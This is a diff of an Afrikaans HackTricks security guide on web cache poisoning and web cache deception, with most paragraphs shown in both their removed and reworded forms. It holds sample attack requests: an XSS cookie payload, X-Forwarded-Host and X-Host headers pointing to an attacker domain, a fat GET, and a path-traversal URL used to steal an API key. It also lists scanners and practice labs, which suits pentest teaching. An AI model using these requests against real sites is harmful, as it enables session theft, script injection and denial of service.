Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -4,11 +4,11 @@
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere maniere om HackTricks te ondersteun:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -17,27 +17,27 @@ Andere maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## Die Verskil
## Die verskil
> **Wat is die verskil tussen web-kasvergiftiging en web-kasbedrog?**
> **Wat is die verskil tussen web-kasvergiftiging en web-kas-misleiding?**
>
> * In **web-kasvergiftiging**, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die kas stoor, en hierdie inhoud word van die kas na ander aansoekgebruikers bedien.
> * In **web-kasbedrog**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kas stoor, en die aanvaller haal dan hierdie inhoud uit die kas.
> * In **web-kas-misleiding**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kas stoor, en die aanvaller haal dan hierdie inhoud uit die kas.
## Kas Vergiftiging
Kasvergiftiging is daarop gemik om die kliëntkantkas te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy tydens die tydperk van kasbesoedeling besoek.
Kasvergiftiging is daarop gemik om die kliëntkantkas te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy besoek tydens die tydperk van kasbesoedeling.
Die uitvoering van 'n kasvergiftigingsaanval behels verskeie stappe:
1. **Identifikasie van Ongekenmerkte Insette**: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die kas gestoor te word nie, die reaksie wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die kas te manipuleer.
2. **Uitbuiting van die Ongekenmerkte Insette**: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se reaksie op 'n manier te verander wat die aanvaller bevoordeel.
3. **Verseker dat die Vergiftigde Reaksie in die Kas Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die kas gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy toegang terwyl die kas vergiftig is, die besoedelde reaksie ontvang.
3. **Verseker dat die Vergiftigde Reaksie in die Kas Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die kas gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy besoek terwyl die kas vergiftig is, die besoedelde reaksie ontvang.
### Ontdekking: Kontroleer HTTP-koppe
@ -45,7 +45,7 @@ Gewoonlik, wanneer 'n reaksie in die kas **gestoor is**, sal daar 'n **kop aandu
### Ontdekking: Kasfoutkodes&#x20;
As jy dink dat die reaksie in 'n kas gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord behoort te word. Probeer dan om die versoek normaal te benader en as die **reaksie 'n statuskode 400** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).
As jy dink dat die reaksie in 'n kas gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord behoort te word. Probeer dan om die versoek normaalweg te benader en as die **reaksie 'n 400-statuskode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).
Jy kan meer opsies vind in:
@ -53,34 +53,34 @@ Jy kan meer opsies vind in:
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
Let egter daarop dat **soms hierdie soorte statuskodes nie in die kas gestoor word** nie, sodat hierdie toets nie betroubaar kan wees nie.
Let egter daarop dat **soms hierdie soorte statuskodes nie in die kas gestoor word** nie, dus kan hierdie toets onbetroubaar wees.
### Ontdekking: Identifiseer en evalueer ongekenmerkte insette
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute force** wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrips van daar te laai:
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute force** wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om aan te dui dat die kliënt die skrips van daar moet laai:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Lokaliseer 'n skadelike reaksie van die agterste bediener
Met die geïdentifiseerde parameter/kop, ondersoek hoe dit **gesaniteer** word en **waar** dit **weerspieël** word of die reaksie van die kop affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? Voer 'n DoS uit?...)
Met die geïdentifiseerde parameter/header, ondersoek hoe dit **gesaniteer** word en **waar** dit **weerspieël** word of die reaksie van die header affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...)
### Kry die gereageerde gekaheer
### Kry die reaksie gekas
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekaheer kry. Afhangende van die bron wat jy in die kache wil kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\
Die kop **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekaheer was nie en die waarde **`hit`** wanneer dit gekaheer is.\
Die kop **`Cache-Control`** is ook interessant om te weet of 'n bron gekaheer word en wanneer die volgende keer sal die bron weer gekaheer word: `Cache-Control: public, max-age=1800`\
'n Ander interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe** aan te dui wat as deel van die kache sleutel hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kache vergiftig vir die gebruikers wat daardie spesifieke `User-Agent` gebruik.\
'n Ander kop wat verband hou met die kache is **`Age`**. Dit definieer die tyd in sekondes wat die voorwerp in die proksi-kache was.
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**header** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekas kry. Afhangende van die bron wat jy in die kas probeer kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\
Die header **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekas is nie en die waarde **`hit`** wanneer dit gekas is.\
Die header **`Cache-Control`** is ook interessant om te weet of 'n bron gekas word en wanneer die volgende keer sal die bron weer gekas word: `Cache-Control: public, max-age=1800`\
'n Ander interessante header is **`Vary`**. Hierdie header word dikwels gebruik om **addisionele koppe** aan te dui wat as **deel van die kas sleutel** hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kas vergiftig vir die gebruikers wat daardie spesifieke `User-Agent` gebruik.\
'n Ander header wat verband hou met die kas is **`Age`**. Dit definieer die tyd in sekondes wat die voorwerp in die proksikas was.
Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kacheer, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kache Vergiftiging met **verskillende webblaaier** om te sien of dit werk.
Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kashou, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die **slagoffer sal daardie selfde kop** moet gebruik. Toets altyd 'n Kaskasvergiftiging met **verskillende webblaaier** om te sien of dit werk.
## Uitbuitingsvoorbeelde
## Uitbuiting Voorbeelde
### Maklikste voorbeeld
'n Kop soos `X-Forwarded-For` word ongesaniteer in die reaksie weerspieël.\
Jy kan 'n basiese XSS-lading stuur en die kache vergiftig sodat almal wat die bladsy besoek, met XSS geïnfekteer sal word:
'n Header soos `X-Forwarded-For` word ongesaniteer weerspieël in die reaksie.\
Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, met XSS geïnfekteer sal word:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -104,13 +104,13 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Merk op dat as die kwesbare koekie baie deur die gebruikers gebruik word, sal gereelde versoeke die cache skoonmaak.
### Kegvergiftiging met padtraversal om API-sleutel te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache vergiftiging met padtraversal om API-sleutel te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat ooreenstem met `/share/*` sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
[**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat ooreenstem met `/share/*` gelaai sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
### Gebruik van meervoudige koppe om webkagie-vergiftigingskwesbaarhede te misbruik <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Gebruik van meervoudige koppe om webkachevergiftigingskwesbaarhede te benut <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Soms sal jy **verskeie ongesleutelde insette moet misbruik** om 'n kagie te kan misbruik. Byvoorbeeld, jy mag 'n **Oop herleiing** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP** versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herleiing. Jy kan beheer waarheen die bladsy deur die herleiing gewys word.
Soms sal jy **verskeie ongesleutelde insette moet benut** om 'n kache te misbruik. Byvoorbeeld, jy mag 'n **Oop herleiing** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP** versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herleiing. Jy kan beheer waarheen die bladsy deur die herleiing gewys word.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -119,7 +119,7 @@ X-Forwarded-Scheme: http
```
### Uitbuiting met beperkte `Vary`-kop
Indien jy gevind het dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons aandui **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfileer en die cache te vergiftig deur daardie gebruikeragent te gebruik:
Indien jy vind dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons aandui **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikeragent te gebruik:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@ -128,7 +128,7 @@ X-Host: attacker.com
```
### Vet Kry
Stuur 'n GET versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die skyfbediener die een uit die URL kesh, sal enigeen wat daardie URL benader, eintlik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle by die Github-webwerf gevind het:
Stuur 'n GET versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die tuisbediener die een uit die URL kies, sal enigeen wat daardie URL benader eintlik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle by die Github-webwerf gevind het:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -137,19 +137,21 @@ Content-Length: 22
report=innocent-victim
```
Daar is 'n portswigger-lab oor hierdie: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Versteek
Byvoorbeeld, dit is moontlik om **parameters** in ruby bedieners te skei deur die karakter **`;`** te gebruik in plaas van **`&`**. Dit kan gebruik word om ongesleutelde parameterwaardes binne gesleutelde waardes te plaas en hulle te misbruik.
Byvoorbeeld is dit moontlik om **parameters** in ruby-bedieners te skei deur die karakter **`;`** te gebruik in plaas van **`&`**. Dit kan gebruik word om nie-gekenmerkte parameterwaardes binne gekenmerkte waardes te plaas en dit te misbruik.
Portswigger-lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Uitbuiting van HTTP Cache Vergiftiging deur die misbruik van HTTP Aanvraag Smokkelary
### Uitbuiting van HTTP-cachevergiftiging deur misbruik te maak van HTTP-aanvraagsmokkelary
Leer hier oor hoe om [Cache Vergiftigingsaanvalle uit te voer deur die misbruik van HTTP Aanvraag Smokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
Leer hier oor hoe om [Cache-vergiftigingsaanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Geoutomatiseerde toetsing vir Web Cache Vergiftiging
### Geoutomatiseerde toetsing vir Web Cache-vergiftiging
Die [Web Cache Kwetsbaarheidsskandeerder](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web cache vergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.
Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.
Voorbeeldgebruik: `wcvs -u example.com`
@ -158,56 +160,56 @@ Voorbeeldgebruik: `wcvs -u example.com`
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## Kwesbare Voorbeelde
### Apache Verkeerbediener ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache sleutel slegs gegenereer deur die gasheer, pad en navraag te gebruik (ignorerend die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache sleutel nie die lading binne dit gehad nie, slegs gasheer, pad en navraag.
ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs gegenereer deur die gasheer, pad en navraag te gebruik (ignorerend die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache-sleutel nie die lading binne nie, net gasheer, pad en navraag.
### GitHub CP-DoS
Die stuur van 'n slegte waarde in die inhoudstipe-kop het 'n 405 gekaapte antwoord geaktiveer. Die cache sleutel het die koekie bevat, sodat dit moontlik was om slegs ongeagte gebruikers aan te val.
Die stuur van 'n slegte waarde in die inhoudstipe-kop het 'n 405 gekaapte reaksie geaktiveer. Die cache-sleutel het die koekie bevat, sodat dit moontlik was om net aanvalle op ongeagte gebruikers uit te voer.
### GitLab + GCP CP-DoS
GitLab gebruik GCP-emmers om statiese inhoud te stoor. **GCP-emmers** ondersteun die **kop `x-http-method-override`**. Dit was dus moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam terug te gee. Dit kon ook die metode `PURGE` ondersteun.
GitLab gebruik GCP-emmers om statiese inhoud te stoor. **GCP-emmers** ondersteun die **kop `x-http-method-override`**. Dit was dus moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë reaksie liggaam terug te gee. Dit kon ook die metode `PURGE` ondersteun.
### Rak Middleware (Ruby on Rails)
In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die Rak-kode is om die waarde van die **`x-forwarded-scheme`**-kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herlei na dieselfde plek plaas, wat moontlik 'n Diensverleningsaanval (DoS) op daardie hulpbron kan veroorsaak. Daarbenewens kan die aansoek die `X-forwarded-host`-kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die Rak-kode is om die waarde van die **`x-forwarded-scheme`**-kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301-omleiding na dieselfde plek plaas, wat moontlik 'n Diensofverlening (DoS) aan daardie hulpbron kan veroorsaak. Daarbenewens kan die aansoek die `X-forwarded-host`-kop erken en gebruikers na die gespesifiseerde gasheer omleid. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
### 403 en Stoor Emmer
### 403 en Stoor-emmers
Cloudflare het vroeër 403-antwoorde gekaap. 'n Poging om S3- of Azure Stoorblokke met ongeldige Toestemmingskoppe te benader, sou 'n 403-antwoord wat gekaap is, tot gevolg hê. Alhoewel Cloudflare opgehou het om 403-antwoorde te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens.
Cloudflare het vroeër 403-reaksies gekaap. 'n Poging om S3- of Azure-stoor-emmers met ongeldige Toestemmingskoppe te benader, sou 'n 403-reaksie tot gevolg hê wat gekaap is. Alhoewel Cloudflare opgehou het om 403-reaksies te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens.
### Injekteer Gesleutelde Parameters
### Injeksie van Gekenmerkte Parameters
Cache sluit dikwels spesifieke GET-parameterwaardes in die cache sleutel in. Byvoorbeeld, Fastly se Varnish het die `grootte`-parameter in versoekinge gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., `siz%65`) ook met 'n foutiewe waarde gestuur is, sou die cache sleutel opgestel word deur die korrekte `grootte`-parameter te gebruik. Tog sou die agterste die waarde in die URL-gekodeerde parameter verwerk. Die URL-kodering van die tweede `grootte`-parameter het tot sy weglaat deur die cache gelei, maar sy gebruik deur die agterste. Die toekenning van 'n waarde van 0 aan hierdie parameter het gelei tot 'n kiesbare 400 Foutversoek-fout.
Cache sluit dikwels spesifieke GET-parameterwaardes in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `grootte`-parameter in versoekings gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., `siz%65`) ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel opgestel word deur die korrekte `grootte`-parameter te gebruik. Tog sou die agterste waarde in die URL-gekodeerde parameter verwerk word. Die URL-kodering van die tweede `grootte`-parameter het tot sy uitsluiting deur die cache gelei, maar sy gebruik deur die agterste. Die toekenning van 'n waarde van 0 aan hierdie parameter het 'n kiesbare 400 Foutversoek-fout tot gevolg gehad.
### Gebruikeragentreëls
Sommige ontwikkelaars blokkeer versoekinge met gebruiker-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
Sommige ontwikkelaars blokkeer versoekings met gebruikers-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring.
### Onwettige Kopvelde
### Onwettige Kopvelvelde
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopnaam. Koppe wat karakters buite die gespesifiseerde **tchar**-reeks bevat, behoort ideaal gesproke 'n 400 Foutversoek-antwoord te aktiveer. In die praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat koppe met ongeldige karakters deurstuur en enige 400-fout kies, solank die `cache-control`-kop nie teenwoordig is nie. 'n Uitbuitbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, sou lei tot 'n kiesbare 400 Foutversoek-fout.
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopnaam. Koppe wat karakters buite die gespesifiseerde **tchar**-reeks bevat, behoort idealiter 'n 400 Foutversoek-reaksie te aktiveer. In die praktyk hou bedieners nie altyd aan hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat koppe met ongeldige karakters deurstuur en enige 400-fout kies, solank die `cache-control`-kop nie teenwoordig is nie. 'n Uitbuitbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, sou lei tot 'n kiesbare 400 Foutversoek-fout.
### Nuwe koppe vind
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Misleiding
## Cache Bedrog
Die doel van Cache Misleiding is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.
Die doel van Cache Bedrog is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat gestoor is in _www.example.com/profile.php_ herhaal word, kan jy daardie inhoud van ander gebruikers **steel**.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die reaksie stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat gestoor is in _www.example.com/profile.php_ herhaal, kan jy daardie inhoud van ander gebruikers **steel**.
Ander dinge om te toets:
@ -219,15 +221,15 @@ Ander dinge om te toets:
* _Gebruik minder bekende uitbreidings soos_ `.avif`
'n Baie duidelike voorbeeld kan gevind word in hierdie skrywe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos _http://www.example.com/home.php/non-existent.css_ die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) teruggegee gaan word en die cache-bedienaar gaan die resultaat stoor.\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos _http://www.example.com/home.php/non-existent.css_ die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggebring word en die cache-bediener gaan die resultaat stoor.\
Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaier toegang en die **vertroulike inligting** van die gebruikers wat voorheen toegang gekry het, waarneem.
Let daarop dat die **cache-proksi** moet wees **gekonfigureer** om lêers te **stoor** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is).
Let daarop dat die **cache-proksi** moet wees **gekonfigureer** om lêers **gebaseer** op die **uitbreiding** van die lêer (_.css_) te **stoor** en nie op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is).
Leer hier oor hoe om [Cache Misleidingsaanvalle te doen deur die misbruik van HTTP Aanvraag Smokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Outomatiese Gereedskap
* [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skander om webgeheuevergiftigingskwetsbaarhede in 'n lys van URL's te vind en om verskeie inspuitingstegnieke te toets.
